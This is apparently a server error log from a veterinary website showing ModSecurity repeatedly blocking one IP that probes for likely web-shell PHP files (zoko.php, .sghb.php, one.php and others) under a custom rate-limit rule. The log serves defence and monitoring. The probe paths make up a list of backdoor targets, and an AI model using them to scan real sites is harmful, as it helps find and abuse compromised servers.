[Tue Apr 28 06:23:24.126321 2026] [:error] [pid 6746:tid 6762] [client 4.232.90.232:23363] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/77.php"] [unique_id "ae_h3LuStsbXtMDpzS-Z0AAAAU4"]
[Tue Apr 28 06:23:24.765677 2026] [:error] [pid 14578:tid 14616] [client 4.232.90.232:42305] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.sghb.php"] [unique_id "ae_h3Ongo3AwIJgfSHELXwAAAEM"]
[Tue Apr 28 06:23:25.454436 2026] [:error] [pid 14578:tid 14622] [client 4.232.90.232:18349] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.sghb.php"] [unique_id "ae_h3engo3AwIJgfSHELYQAAAEk"]
[Tue Apr 28 06:23:26.339905 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:18329] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.sghb.php"] [unique_id "ae_h3ungo3AwIJgfSHELZQAAAE8"]
[Tue Apr 28 06:23:27.018782 2026] [:error] [pid 14579:tid 14654] [client 4.232.90.232:8184] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.sghb.php"] [unique_id "ae_h3xrUiOG83qKKuuDzpgAAAI4"]
[Tue Apr 28 06:23:27.548673 2026] [:error] [pid 14579:tid 14663] [client 4.232.90.232:8139] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoko.php"] [unique_id "ae_h3xrUiOG83qKKuuDzqAAAAJc"]
[Tue Apr 28 06:23:28.218312 2026] [:error] [pid 14577:tid 14595] [client 4.232.90.232:11493] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoko.php"] [unique_id "ae_h4CzBH-jwzlgiBdG4FQAAAAk"]
[Tue Apr 28 06:23:28.799046 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:18358] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoko.php"] [unique_id "ae_h4Ongo3AwIJgfSHELbgAAAE4"]
[Tue Apr 28 06:23:29.533812 2026] [:error] [pid 14577:tid 14596] [client 4.232.90.232:21603] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zoko.php"] [unique_id "ae_h4SzBH-jwzlgiBdG4HAAAAAo"]
[Tue Apr 28 06:23:30.268938 2026] [:error] [pid 14577:tid 14598] [client 4.232.90.232:62105] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/solo1.php"] [unique_id "ae_h4izBH-jwzlgiBdG4HgAAAAw"]
[Tue Apr 28 06:23:30.857086 2026] [:error] [pid 14686:tid 14695] [client 4.232.90.232:12447] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/solo1.php"] [unique_id "ae_h4u-YPF1Xm7uiWQ4xtgAAAMY"]
[Tue Apr 28 06:23:31.499011 2026] [:error] [pid 14577:tid 14601] [client 4.232.90.232:23361] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/solo1.php"] [unique_id "ae_h4yzBH-jwzlgiBdG4IgAAAA8"]
[Tue Apr 28 06:23:32.332514 2026] [:error] [pid 14577:tid 14586] [client 4.232.90.232:42336] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/solo1.php"] [unique_id "ae_h5CzBH-jwzlgiBdG4IwAAAAA"]
[Tue Apr 28 06:23:33.475440 2026] [:error] [pid 14579:tid 14644] [client 4.232.90.232:23423] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/locales.php"] [unique_id "ae_h5RrUiOG83qKKuuDzqgAAAIQ"]
[Tue Apr 28 06:23:34.399449 2026] [:error] [pid 14578:tid 14632] [client 4.232.90.232:61363] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/locales.php"] [unique_id "ae_h5ungo3AwIJgfSHELewAAAFM"]
[Tue Apr 28 06:23:35.312456 2026] [:error] [pid 6746:tid 6765] [client 4.232.90.232:8153] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/locales.php"] [unique_id "ae_h57uStsbXtMDpzS-Z2wAAAVE"]
[Tue Apr 28 06:23:35.955547 2026] [:error] [pid 14577:tid 14600] [client 4.232.90.232:23375] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/locales.php"] [unique_id "ae_h5yzBH-jwzlgiBdG4JgAAAA4"]
[Tue Apr 28 06:23:36.529290 2026] [:error] [pid 14579:tid 14643] [client 4.232.90.232:18348] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae_h6BrUiOG83qKKuuDzqwAAAIM"]
[Tue Apr 28 06:23:37.169973 2026] [:error] [pid 6746:tid 6764] [client 4.232.90.232:23373] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae_h6buStsbXtMDpzS-Z4wAAAVA"]
[Tue Apr 28 06:23:37.859779 2026] [:error] [pid 6746:tid 6770] [client 4.232.90.232:12457] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae_h6buStsbXtMDpzS-Z5QAAAVY"]
[Tue Apr 28 06:23:38.595964 2026] [:error] [pid 14578:tid 14637] [client 4.232.90.232:62107] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/bgymj.php"] [unique_id "ae_h6ungo3AwIJgfSHELggAAAFg"]
[Tue Apr 28 06:23:39.182717 2026] [:error] [pid 56602:tid 56611] [client 4.232.90.232:23394] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pucci.php"] [unique_id "ae_h6_CwhMxzNW_lZSw4VAAAAQc"]
[Tue Apr 28 06:23:39.978607 2026] [:error] [pid 6746:tid 6765] [client 4.232.90.232:23362] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pucci.php"] [unique_id "ae_h67uStsbXtMDpzS-Z6QAAAVE"]
[Tue Apr 28 06:23:40.900347 2026] [:error] [pid 14579:tid 14658] [client 4.232.90.232:62142] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pucci.php"] [unique_id "ae_h7BrUiOG83qKKuuDzrQAAAJI"]
[Tue Apr 28 06:23:41.457425 2026] [:error] [pid 14577:tid 14598] [client 4.232.90.232:8146] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pucci.php"] [unique_id "ae_h7SzBH-jwzlgiBdG4JwAAAAw"]
[Tue Apr 28 06:23:42.083575 2026] [:error] [pid 14577:tid 14587] [client 4.232.90.232:62114] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "ae_h7izBH-jwzlgiBdG4KQAAAAE"]
[Tue Apr 28 06:23:42.630139 2026] [:error] [pid 14686:tid 14700] [client 4.232.90.232:18345] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "ae_h7u-YPF1Xm7uiWQ4x7AAAAMs"]
[Tue Apr 28 06:23:43.586915 2026] [:error] [pid 14577:tid 14604] [client 4.232.90.232:12416] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "ae_h7yzBH-jwzlgiBdG4LQAAABI"]
[Tue Apr 28 06:23:44.144804 2026] [:error] [pid 14578:tid 14614] [client 4.232.90.232:11514] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/details/"] [unique_id "ae_h8Ongo3AwIJgfSHELkAAAAEE"]
[Tue Apr 28 06:23:44.715608 2026] [:error] [pid 14578:tid 14627] [client 4.232.90.232:12438] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "ae_h8Ongo3AwIJgfSHELkgAAAE4"]
[Tue Apr 28 06:23:45.390550 2026] [:error] [pid 14577:tid 14589] [client 4.232.90.232:61355] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "ae_h8SzBH-jwzlgiBdG4LwAAAAM"]
[Tue Apr 28 06:23:46.017936 2026] [:error] [pid 56602:tid 56605] [client 4.232.90.232:12456] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "ae_h8vCwhMxzNW_lZSw4nwAAAQE"]
[Tue Apr 28 06:23:46.838731 2026] [:error] [pid 56602:tid 56623] [client 4.232.90.232:62132] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.dj/index.php"] [unique_id "ae_h8vCwhMxzNW_lZSw4ogAAARM"]
[Tue Apr 28 06:23:47.743293 2026] [:error] [pid 14578:tid 14633] [client 4.232.90.232:8137] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "ae_h8-ngo3AwIJgfSHELnQAAAFQ"]
[Tue Apr 28 06:23:48.728179 2026] [:error] [pid 14577:tid 14600] [client 4.232.90.232:62083] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "ae_h9CzBH-jwzlgiBdG4MgAAAA4"]
[Tue Apr 28 06:23:49.816795 2026] [:error] [pid 14577:tid 14596] [client 4.232.90.232:12463] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "ae_h9SzBH-jwzlgiBdG4NAAAAAo"]
[Tue Apr 28 06:23:50.577600 2026] [:error] [pid 14577:tid 14587] [client 4.232.90.232:61313] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/wp-includes/blocks/audio/"] [unique_id "ae_h9izBH-jwzlgiBdG4NQAAAAE"]
[Tue Apr 28 06:23:51.363915 2026] [:error] [pid 14577:tid 14604] [client 4.232.90.232:12465] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.tmb/"] [unique_id "ae_h9yzBH-jwzlgiBdG4PAAAABI"]
[Tue Apr 28 06:23:52.148513 2026] [:error] [pid 14577:tid 14589] [client 4.232.90.232:12421] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.tmb/"] [unique_id "ae_h-CzBH-jwzlgiBdG4PQAAAAM"]
[Tue Apr 28 06:23:52.934276 2026] [:error] [pid 14577:tid 14599] [client 4.232.90.232:61343] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.tmb/"] [unique_id "ae_h-CzBH-jwzlgiBdG4QQAAAA0"]
[Tue Apr 28 06:23:53.562848 2026] [:error] [pid 6746:tid 6753] [client 4.232.90.232:42354] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/.tmb/"] [unique_id "ae_h-buStsbXtMDpzS-Z8AAAAUU"]
[Tue Apr 28 06:23:54.206690 2026] [:error] [pid 6746:tid 6761] [client 4.232.90.232:61346] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/one.php"] [unique_id "ae_h-ruStsbXtMDpzS-Z8QAAAU0"]
[Tue Apr 28 06:23:55.128534 2026] [:error] [pid 14686:tid 14693] [client 4.232.90.232:62122] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/one.php"] [unique_id "ae_h---YPF1Xm7uiWQ4yAAAAAMQ"]
[Tue Apr 28 06:23:55.728205 2026] [:error] [pid 56602:tid 56620] [client 4.232.90.232:23403] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/one.php"] [unique_id "ae_h-_CwhMxzNW_lZSw4qAAAARA"]
[Tue Apr 28 06:23:56.649164 2026] [:error] [pid 14686:tid 14712] [client 4.232.90.232:62125] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/one.php"] [unique_id "ae_h_O-YPF1Xm7uiWQ4yAgAAANc"]
[Tue Apr 28 06:23:57.878225 2026] [:error] [pid 14578:tid 14628] [client 4.232.90.232:42335] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no20.php"] [unique_id "ae_h_engo3AwIJgfSHELqwAAAE8"]
[Tue Apr 28 06:23:58.473846 2026] [:error] [pid 14578:tid 14634] [client 4.232.90.232:12426] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no20.php"] [unique_id "ae_h_ungo3AwIJgfSHELrAAAAFU"]
[Tue Apr 28 06:23:59.071812 2026] [:error] [pid 14579:tid 14650] [client 4.232.90.232:42350] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no20.php"] [unique_id "ae_h_xrUiOG83qKKuuDzvwAAAIo"]
[Tue Apr 28 06:23:59.762548 2026] [:error] [pid 56602:tid 56619] [client 4.232.90.232:12449] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/no20.php"] [unique_id "ae_h__CwhMxzNW_lZSw4rAAAAQ8"]
[Tue Apr 28 06:24:00.341158 2026] [:error] [pid 14686:tid 14711] [client 4.232.90.232:18313] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "ae_iAO-YPF1Xm7uiWQ4yCQAAANY"]
[Tue Apr 28 06:24:00.873174 2026] [:error] [pid 56602:tid 56604] [client 4.232.90.232:25463] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "ae_iAPCwhMxzNW_lZSw4sQAAAQA"]
[Tue Apr 28 06:24:01.421565 2026] [:error] [pid 14578:tid 14626] [client 4.232.90.232:12430] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "ae_iAengo3AwIJgfSHELsAAAAE0"]
[Tue Apr 28 06:24:01.989117 2026] [:error] [pid 14579:tid 14647] [client 4.232.90.232:11496] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/yasnu.php"] [unique_id "ae_iARrUiOG83qKKuuDzxAAAAIc"]
[Tue Apr 28 06:24:02.530339 2026] [:error] [pid 14686:tid 14704] [client 4.232.90.232:23364] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sl.php"] [unique_id "ae_iAu-YPF1Xm7uiWQ4yCwAAAM8"]
[Tue Apr 28 06:24:03.294427 2026] [:error] [pid 14686:tid 14695] [client 4.232.90.232:12701] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sl.php"] [unique_id "ae_iA--YPF1Xm7uiWQ4yDAAAAMY"]
[Tue Apr 28 06:24:03.847002 2026] [:error] [pid 14577:tid 14608] [client 4.232.90.232:8130] [client 4.232.90.232] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/sl.php"] [unique_id "ae_iAyzBH-jwzlgiBdG4UwAAABY"]
